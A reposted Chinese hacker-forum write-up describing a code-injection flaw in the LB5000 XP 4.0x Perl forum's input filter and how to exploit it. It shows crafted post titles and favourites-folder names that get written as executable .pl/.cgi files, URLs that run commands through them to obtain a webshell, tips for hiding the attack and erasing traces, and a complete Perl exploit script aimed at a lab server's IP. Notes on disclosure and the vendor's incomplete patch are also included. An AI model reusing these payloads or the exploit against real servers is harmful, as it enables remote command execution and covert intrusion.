发新话题
打印

[转载]LB5000 XP 4.0x 研究系列

[转载]LB5000 XP 4.0x 研究系列

文章作者:不详
文章来源:lcx

  为突破黑客防线攻防实验室第二轮第八关的LB5000 XP 4.01论坛,下载了最新的论坛程序,安装IIS WEB Server,安装Active Perl,安装论坛,Let's go...

先了解了一下LB5000的目录结构,把以前公布的LB5000漏洞试了试,嘿嘿,当然不行咯,了解一下思路而已,试了试论坛的各个功能,查看论坛运行产生的文件,我们把视线投向最常用的post.cgi(发帖)。


--- Begin ---LB5000XP 4.01 line 57 in Post.cgi-----------------------------------
复制内容到剪贴板
代码:
for ('forum','topic','membername','password','action','postno','inshowsignature',
'notify','inshowemoticons','intopictitle','intopicdescription',
'inpost','posticon','inhiddentopic','postweiwang','moneyhidden','moneypost','uselbcode','inwater') {
next unless defined $_;
next if $_ eq 'SEND_MAIL';
$tp = $query->param($_);
$tp = &cleaninput("$tp"); # 用cleaninput函数对变量进行处理
${$_} = $tp;
}
$intopictitle = "*#!&*$intopictitle"; # 帖子主题前面加字符串' *#!&*'
$inforum = $forum;
$intopic = $topic;

...

$intopictitletemp = $intopictitle  #
$intopictitletemp =~ s/^*#!&*//; # $intopictitletemp =帖子主题 去掉字符串' *#!&*'

...

if (open(FILE, ">${lbdir}forum$inforum/$newthreadnumber.pl")) {
print FILE "$newthreadnumber\t$intopictitletemp\t$intopicdescription\topen\t0\t0\t$inmembername\t$currenttime\t\t$currenttime\t$inposticon\t$inposttemp\t";
close(FILE);
}

if (open(FILE, ">${lbdir}forum$inforum/$newthreadnumber.thd.cgi")) {
print FILE "$inmembername\t$intopictitle\t$postipaddress\t$inshowemoticons\t$inshowsignature\t$currenttime\t$inpost\t$inposticon\t$inwater\t\n";
close(FILE);
}
...
--- End --- Post.cgi ---------------------------------------------------------------


可以看到,通常情况下,当我们发了一个帖子之后,LB5000论坛在cgi-bin下当前分论坛目录下(${lbdir}forum$inforum/)生成2个文件,一个是:$newthreadnumber.pl(帖子编号.pl), 文件内容为:
复制内容到剪贴板
代码:
$newthreadnumber\t$intopictitletemp\t$intopicdescription\topen\t0\t0\t$inmembername\t$currenttime\t\t$currenttime\t$inposticon\t$inposttemp\t";
其中$newthreadnumber是帖子的编号,$intopictitletemp则是帖子的主题,你一定想到了,如果能在主题里构造合法的语句...另一个文件是:$newthreadnumber.thd.cgi(帖子编号.thd.cgi),文件内容为: 用户名\t*#!&*帖子标题\tIP...(略),这个在标题前面加了‘*#!&*’,看来没戏,我们研究第一个文件。
在自己的分论坛1发了一贴,主题:'system @ARGV # ' ,内容:'test',帖子编号是1,打开 cgi-bin\forum1\1.pl, 内容如下:

1 system @ARGV # open 0 0 m4gic 1070289864 1070289864 test



呵呵,当然不可能原封不动,帖子主题被改得面目全非了,我们知道论坛对变量用cleaninput函数处理了一下,让我们看看cleaninput做了什么,在LBCGI.pm中找到cleaninput函数:

--- Begin ---LB5000XP 4.01 line 322 in LBCGI.pm ------------------------
复制内容到剪贴板
代码:
322 sub cleaninput {
323 my ($self, $text) = _self_or_default(@_);
324 # my $text = shift;
325 study($text);
326 $text =~ s/\ / /g;
327 $text =~ s/\@ARGV/\&\#64\;ARGV/isg;
328 $text =~ s/\;/\&\#59\;/isg;
329 $text =~ s/\&/\&/g;
330 $text =~ s/\&\#/\&\#/isg;
331 $text =~ s/\&\;(.{1,6})\&\#59\;/\&$1\;/isg;
332 $text =~ s/\&\#([0-9]{1,6})\&\#59\;/\&\#$1\;/isg;
333 $text =~ s/"/\"/g;
334 $text =~ s/ / \ /g;
335 $text =~ s/</\</g;
336 $text =~ s/>/\>/g;
337 $text =~ s/[\a\f\e\0\r\t]//isg;
338 $text =~ s/ / /g;
339 $text =~ s/\n\n/<p>/g;
340 $text =~ s/\n/<br>/g;
341 $text =~ s/<script>/\<script\>/ig;
342 $text =~ s/document.cookie/documents\&\#46\;cookie/isg;
343 return $text;
344 }
--- End --- line 344 in LBCGI.pm -------------------------------



嗯,有漏洞,很多有用的字符没过滤,而且居然没有对‘@’单独过滤,而是把‘@ARGV’一起处理,替换成了‘@ARGV’,综合327行和337行,如果在‘@ARGV’中间嵌入被337行语句过滤掉的字符,我们就可以避开对@ARGV的过滤了。下面就是在ultraedit中随意输入的3个例子 :
引用:
HEX : 40 09 41 52 47 56 | 40 41 09 52 47 56 | 40 41 52 09 47 56
--------------------------------------------------------------------------
对应ASCII: @ \t A R G V | @ A \t R G V | @ A R \t G V
(&#39;\t&#39;用ultraedit在HEX模式输入09或在ASCII模式按住Alt键用小键盘输入009或者...按Tab键,呵呵)

有很多组合可以使我们构造出合法的‘@ARGV‘来(解决此漏洞办法也很简单,把337和327行互换一下位置就可以了),不过麻烦的是cleaninput把‘;’也处理掉了,而每一条perl的语句都需要‘;’结尾,郁闷了很久,突然注意到329、333-336行,字符替换后的结果里有’;’,但是前面还有‘&‘符号,在perl里,这是调用子程序的,显然我们不能指望程序里刚好有以amp、quot、lt、gt、nbsp为名的子程序,还好,我们只是需要利用它们构造合乎语法的程序而并不需要执行,在尝试了几个条件语句后,我们发现了?表达式,&#39;exp1?exp2:exp3 &#39;表示:如果exp1为真则执行exp2,否则执行exp3的,利用它我们可以构造程序了,比如’ 1 ? system @ARGV : &xx;’实际执行的就是’system @ARGV’,<不会被执行也不需要真的存在以xx命名的函数.

我们在论坛发一个新帖,帖子标题为 :‘ ? system @\tARGV :<#’,帖子内容任意,经过cleaninput函数处理后,把‘<’替换成‘<&#39;,这样帖子的内容就变成: ‘2 ? system @ARGV : < # open 0 0...(略) 我们成功地构造出了合法的语句(类似的,我们也可以用‘&’、‘>’、‘"’、‘ ’来构造),如果server端没对cmd.exe等环境作限制的话,调用它我们就得到webshell,假设帖子是 分论坛1的第2帖,在IE里通过调用http:\\ip\lbdir\cgi-bin\forum1\2.pl?dir 就可以列当前目录了。假如server端作了限制甚至删除了cmd.exe呢,没关系,我们在把改名后的cgi上传程序作为附件上传,发帖,在主题标题输入:‘ ? rename ($ARGV[0],$ARGV[1]) :<#’,然后在IE里通过调用http:\\ip\lbdir\cgi-bin\forum1\2.pl?&#39;路径\附件文件&#39;+&#39;目的路径\目的文件&#39; 把附件改名为.cgi后缀的文件名(可以用绝对路径也可以用相对路径),接下来调用它上传cmd.exe,webshell ...


游戏结束了吗,No,还没有。如果是真正的入侵,我们的帖子标题上出现&#39;system&#39;等敏感字眼岂不是掩耳盗铃!是的,我们可以选个月黑风高之夜,我们可以找个冷清的论坛,我们可以乘没有其他人在线时攻击,我们可以发完帖子,执行后马上删除,但...太麻烦了, 好,我写个程序实现发帖、运行、删除.....高人!但...这太浪费了吧;)有没有更好的办法呢?


仔细地研究了一下发完帖子生成的文件,咦,怎么在‘open&#39;的前面怎么有2个\t,重读了一遍post.cgi程序,我们惊讶地发现,2个\t中间应该是$intopicdescription,而$intopicdescription变量还没出生就已经死了 ,呵呵,这个变量在发帖时根本就没有输入过,而它被写在紧跟$inntopictitletemp后面,好了,如果我们把$intopictitletemp 写为’?&#39;,在$intopicdescription里输入后续的命令,那么我们成功地构造了和刚才构造的功能相同的语句,而我们的帖子主题只是一个’?‘。

在本地实验环境里的post.cgi(或forums.cgi调用的forumfastpost.pl)里找到
<td bgcolor=$miscbackone><input type=text size=60 maxlength=80 name="intopictitle" value="$intopictitle"> 不得超过 40 个汉字</td>
在下面加入一行:
<td bgcolor=$miscbackone>description:<input type=text size=60 name="intopicdescription" value="$intopicdescription"></td>
然后我们登陆论坛,发新帖,在主题里填入:‘?’,而在description后面的框内填入:‘system @\tARGV :<#‘ ,内容乱填,点发表。
用ultraedit打开我们刚才的帖子,变成了:
3 ? system @ARGV : < # open 0 0...(略)

当然,我们不可能去修改server上的程序,用个嗅探工具抓本地的包,修改后发给server.用httpwatch抓的数据如下:
<1> Headers
-------------------------------------------------------------------------------
复制内容到剪贴板
代码:
(Request Method) POST /hacker/bbs/cgi-bin/post.cgi HTTP/1.1
Accept image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Encoding gzip, deflate
Accept-Language zh-cn
Cache-Control no-cache
Connection Keep-Alive
Content-Length 1488
Content-Type multipart/form-data; boundary=---------------------------7d3bb28200aa
Cookie onlineview=1; union=1; catlog=3; screenmode=8; treeview=no; templastvisit=1-1068726793--2-1068565024--3-1068556844--; lastvisit=1-1070546982--2-1070465189--3-1070465360--; advpost=0; threadages=; viewMode=; nodisp=%7Cno%7C; freshtime=; selectstyle=; tanchumsg=; amembernamecookie=11; apasswordcookie=12345678; onlineview=1; screenmode=8
Host 219.237.81.46
Referer [url]http://219.237.81.46/hacker/bbs/cgi-bin/post.cgi?action=new&forum=1[/url]
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
-------------------------------------------------------------------------------
<2>postdata
-------------------------------------------------------------------------------
复制内容到剪贴板
代码:
(Mime Type) multipart/form-data
action addnew

forum 1

membername 11

password 12345678

font

intopictitle ?

intopicdescription system @ ARGV :<#

uselbcode yes

inshowsignature yes

inshowemoticons yes

inpost only for test

addme filename="" Content-Type: application/octet-stream
Submit 发 表
-------------------------------------------------------------------------------


根据抓的数据随手写了一个exploit,程序如下:
-----------------------------------------------------------------------
复制内容到剪贴板
代码:
#!/usr/bin/perl
#########################################
#
# LB5000 XP/MX exploit! Ver 1.0
# Test For Bug in Post.cgi
# Write shellcode in $topicdescription
# Code by m4gic 2003.11.27
#
#########################################

use Socket;
# 黑防实验室ip
$host = "219.237.81.46";
$port = 80;
# 自己先注册个用户\修改密码
$user= "tester";
$pass= "testing";

$str = "action=addnew&forum=1&intopictitle=?&intopicdescription=system%20@%09ARGV%20:<#&membername=$user&password=$pass&inpost=test&Submit=发%20表";
$len =length($str);

$req = "POST /hacker/bbs/cgi-bin/post.cgi HTTP/1.1\r\n".
"Host: $host\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\r\n".
"Referer: [url]http://219.237.81.46/hacker/bbs/cgi-bin/post.cgi?action=new&forum=1[/url]\r\n".
"Cookie: onlineview=1; union=1; catlog=3; screenmode=8; treeview=no; templastvisit=1-1068726793--2-1068565024--3-1068556844--; lastvisit=1-1070546982--2-1070465189--3-1070465360--; advpost=0; threadages=; viewMode=; nodisp=%7Cno%7C; freshtime=; selectstyle=; tanchumsg=; amembernamecookie=$user; apasswordcookie=$pass; onlineview=1; screenmode=8\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\n\n".
"$str\n\n";

@re =sendraw($req);
print "Content-type: text/html\n\n";
print "@re";
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp)||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Cant connect...\n");
}
}
------------------------------------------------------------------------

执行,黑防试验室论坛上多了个帖子,在ie地址栏里输入http:\\ip\lbdir\cgi-bin\forum1\帖子编号.pl?dir ,成功!
慢着,是我眼花了吗?论坛帖子上标题确实只是一个‘?&#39;,但我们以为废弃的变量$topicdescription居然明明白白地显示在标题下面:‘-=> system @ARGV : <#&#39;,天哪,我要崩溃了,仔细读了一遍论坛程序,我们失望的发现forums.cgi竟然确实会显示$topicdescription!看来想利用它隐匿我们的攻击是不可能了,发现这个变量唯一的好处就是通过它输入的代码没有$intopictitle 80个字符长度的限制。

从狂喜到失落到平静下来,我们继续挖掘,漏洞是由于cleaninput函数的变量过滤不严引起的,很自然的我们想到了其他调用cleaninput函数的程序,在浏览了N个相关程序后,我们终于发现了个人收藏夹管理fav.cgi。LB5000XP里的个人收藏夹有公开和保密2种,而且里面可以设置不超过10个的收藏目录.当我们在公开的收藏夹建立收藏目录时,论坛并不真的建立一个目录,而是在${lbdir}memfav/open/$infilemembername.cgi文件第一行里写入$newcate(目录名)+‘o’(如果是保密的收藏夹则是在${lbdir}memfav/close/$infilemembername.cgi文件)。下面是它的部分代码:

------------------Fav.cgi------------------------------------------------------
复制内容到剪贴板
代码:
# Line 48
for (&#39;forum&#39;,&#39;topic&#39;,&#39;membername&#39;,&#39;password&#39;,&#39;action&#39;,&#39;checked&#39;,&#39;member&#39;,&#39;mainopen&#39;,&#39;selectcate&#39;,&#39;newcate&#39;,&#39;selecttopic&#39;) {
next unless defined $_;
next if $_ eq &#39;SEND_MAIL&#39;;
$tp = $query->param($_);
$tp = &cleaninput("$tp"); #还是它 :)
${$_} = $tp;
}
...
$incate=$newcate;
push(@catelist,$newcate."o");
$catelistno=@catelist;
&error("加入个人收藏&最多只能够有 10 个目录!") if($catelistno > 10);
$catelist=join("\t",@catelist);
$selectcate=$#catelist;
}else{
$catelist=join("\t",@catelist);
$incate=$catelist[$selectcate];
$incate=~s/[oc]$//;
}
open (FAV, ">$file");
print FAV "$catelist\t$favdescript\n";
...
-------------------------------------------------------------------------------
仍然是cleaninput处理变量,而且$catelist前面没有其他变量:)还等什么,进入论坛,进入个人收藏夹设定,建立一个新目录:&#39;system @ ARGV#&#39;,在IE地址栏里输入http://ip/论坛/cgi-bin/memfav/open/用户名.cgi?dir ,回车,真正隐蔽的攻击开始了, 攻击完成后删除个人收藏目录,论坛里没有留下任何痕迹...



===============================================================================
后记:
1、我早先没发现类似 system @ARGV#单条语句居然不需‘;’就可以正常执行,于是费了很多时间才用?表达式构造出完整的命令,利用?表达式我们可以输入多条语句,但能不能直接生成一个类似pskey的exe.cgi的webshell或upload的程序,好像很难,因为?语句要求是表达式或者函数(有返回值?),哪位高人出手试试,有没有其他的办法,反正没学过perl的我是没招了。
2、这个漏洞涉及的程序包括post.cgi、poll.cgi、editpost.cgi、editpoll.cgi、fav.cgi等程序,威胁LB5000 XP 目前所有版本(包括4.01和4.05),LB5000 MX目前所有版本,只不过早期版本里存在漏洞的cleaninput子程序是在lb.lib.pl文件里,其中LB5000 MX系列不存在fav.cgi的漏洞,因为MX版的个人收藏夹没有收藏目录。

3、在参加黑防的攻防实验室活动中发现该漏洞后刚好www.cgier.com 发布了LB5000XP 4.05,下载,安装,测试,发现4.05版也存在同样的问题,11月9日通知论坛作者,之后jambalaya、moto陆续各自发布了他们发现该漏洞的过程和漏洞利用方法,11月18日论坛作者发布了LB5000XP 4.05修正版,宣称:消除所有已知的漏洞!

  为了解修补的思路,下载4.05修正版,安装,查看代码,sigh...原来作者并没有对cleaninput进行改动,而是修改了帖子.pl的结构,然后修改相关的post.cgi、editpost.cgi、poll.cgi、editpoll.cgi的代码,我们看post.cgi line 524-527
-------------------------------------------------------------------------------
复制内容到剪贴板
代码:
(open(FILE, ">${lbdir}forum$inforum/$newthreadnumber.pl")) {
print FILE "$newthreadnumber\t$intopictitle\t$intopicdescription\topen\t0\t0\t$inmembername\t$currenttime\t\t$currenttime\t$inposticon\t$inposttemp\t";
close(FILE);
}
-------------------------------------------------------------------------------

这样一来$newthreadnumber.pl的前面也变成了:帖子编号/t*#!&*主题标题/t,由于&#39;*#!&*&#39;的存在,直接调用帖子已经失效了,类似的editpost.cgi、poll.cgi、editpoll.cgi也补上了漏洞,然而fav.cgi的漏洞依旧。


4、其实LB5000XP 4.0x包括修正版的Post.cgi仍然存在一个很难利用的漏洞。我们看下面的程序:

----------------POST.CGI Line 624-646------------------------------------------
复制内容到剪贴板
代码:
$file = "$lbdir" . "boarddata/list$inforum.cgi";
&winlock($file) if ($OS_USED eq "Nt");
undef $/;
open (LIST, "$file");
flock (LIST, 2) if ($OS_USED eq "Unix");
$listall=<LIST>;
close (LIST);
$/="\n";

if (length($listall) > 10000) {
if (open (LIST, ">$file")) {
flock (LIST, 2) if ($OS_USED eq "Unix");
print LIST "$newthreadnumber\t$intopictitletemp\t$intopicdescription\topen\t0\t0\t$inmembername\t$currenttime\t\t$currenttime\t$inposticon\t$inposttemp\t\n$listall";
close (LIST);
}
&winunlock($file) if ($OS_USED eq "Nt");
}
else {
&winunlock($file) if ($OS_USED eq "Nt");
require "rebuildlist.pl";
my $truenumber = rebuildLIST(-Forum=>"$inforum");
($tpost,$treply) = split (/\|/,$truenumber);
}
--------------------------- End -----------------------------------------------
当我们发帖后,论坛同时会在 cgi-bin\boarddata\list?.cgi(?=分论坛号)里写入帖子内容,而这里的帖子主题同样是没插入&#39;*#!&*&#39;的!利用上面的方法我们还是可以攻击,只是改成调用list?.cgi罢了,不过正如Analyzer在QQ里指出的,除非你的帖子是分论坛的唯一的帖子,不然没法利用,千年一遇,但不是没有可能哦。



附:LB5000目录结构(只列出和本文有关的)
安装目录
引用:
├─cgi-bin
│ ├─boarddata ...listXX.cgi
│ ├─membersXXXXXX 用户信息目录 (XXXXXX 是自己在管理区中设置的安全数字)
│ │ └─old
│ ├─memfav 个人收藏夹
│ │ ├─open 公开
│ │ └─close 保密
. . .
│ └─forumXX 分论坛目录(XX 是数字,表明第几个分论坛)

└─non-cgi
. . .
└─usr
└─XX 附件目录(XX 是数字,表明第几个分论坛)
比如在分论坛1发的编号为2的.txt附件会在\non-cgi\usr\1\目录下
生成1_2.txt文件
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题